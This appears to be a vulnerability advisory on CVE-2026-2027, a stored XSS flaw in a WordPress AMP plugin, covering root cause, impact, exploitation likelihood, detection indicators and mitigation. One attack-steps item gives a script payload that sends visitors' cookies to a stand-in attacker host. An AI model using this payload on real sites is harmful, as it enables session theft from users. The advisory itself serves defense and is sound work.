CVE-2026-2027: 
WordPress vulnerability analysis and mitigation

CVE-2026-2027 is a Stored Cross-Site Scripting (XSS) vulnerability in the AMP Enhancer – Compatibility Layer for Official AMP Plugin for WordPress. It affects all versions up to and including 1.0.49, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the AMP Custom CSS setting. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 4.4 (Medium) (Red Hat CVE). Exploitation is limited to authenticated attackers with Administrator-level access or above, and only impacts multi-site WordPress installations or those where unfiltered_html has been disabled (Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin fails to properly sanitize and escape user-supplied input in the AMP Custom CSS setting before storing and rendering it, allowing malicious scripts to be persisted in the database and executed in victims' browsers. The attack vector is network-based, requires high privileges (Administrator), and has high attack complexity due to the specific environmental preconditions — the vulnerability only manifests in WordPress multi-site setups or where unfiltered_html capability has been explicitly disabled (Red Hat CVE). No public PoC code was identified in the available sources.

Successful exploitation allows an authenticated administrator to inject arbitrary JavaScript into pages served to other users, executing in their browser context whenever an affected page is visited. The primary impacts are low confidentiality loss (e.g., session token theft) and low integrity impact (e.g., page content manipulation), with no direct availability impact. In a WordPress multi-site environment, a compromised administrator on one subsite could potentially affect users across the network, increasing the blast radius beyond a single installation (Red Hat CVE).

No evidence of active in-the-wild exploitation has been reported. The EPSS score is approximately 0.028% (0.000280), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with Administrator-level privileges and a specific WordPress configuration (multi-site or unfiltered_html disabled), significantly limiting the practical attack surface (Red Hat CVE).

1. Reconnaissance: Identify a target WordPress multi-site installation or a single-site installation with unfiltered_html disabled that is running the AMP Enhancer plugin version ≤ 1.0.49.
2. Obtain Administrator Access: Gain authenticated access to the WordPress admin panel with Administrator-level privileges (e.g., via credential theft, phishing, or brute force).
3. Navigate to AMP Custom CSS Setting: Access the AMP Enhancer plugin settings page within the WordPress admin dashboard and locate the AMP Custom CSS input field.
4. Inject Malicious Payload: Enter a crafted XSS payload into the AMP Custom CSS field (e.g., </style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) and save the settings.
5. Trigger Execution: When any user (including administrators or site visitors) visits a page that renders the injected AMP CSS setting, the malicious script executes in their browser, potentially stealing session cookies or performing unauthorized actions on their behalf (Red Hat CVE).

• Logs: WordPress admin audit logs showing unexpected changes to AMP Enhancer plugin settings (AMP Custom CSS field) by an administrator account, particularly from unfamiliar IP addresses.
• Database: Presence of <script> tags or JavaScript event handlers within the amp_custom_css option value in the WordPress wp_options table (or network options table in multi-site).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting AMP-rendered pages; unusual POST requests to WordPress admin-ajax or options-general endpoints modifying AMP plugin settings.
• File System: No direct file system artifacts expected for this stored XSS, but review plugin configuration files or database exports for injected script content.

Users should update the AMP Enhancer – Compatibility Layer for Official AMP Plugin to a version beyond 1.0.49 as soon as a patched release is available from the plugin vendor. As an interim workaround, restrict Administrator access to trusted users only and audit existing AMP Custom CSS settings for unexpected script content. Organizations running WordPress multi-site should prioritize patching given the broader potential impact across subsites. Enabling unfiltered_html for trusted administrators (if operationally acceptable) would also eliminate the specific precondition for this vulnerability (Red Hat CVE).

Coverage of CVE-2026-2027 has been limited to automated vulnerability tracking platforms such as VulDB, Vulners, CVEFeed, and national CERTs (INCIBE, CCN-CERT). No notable independent researcher commentary, vendor blog posts, or significant social media discussion has been identified for this vulnerability, consistent with its low severity score and narrow exploitation conditions.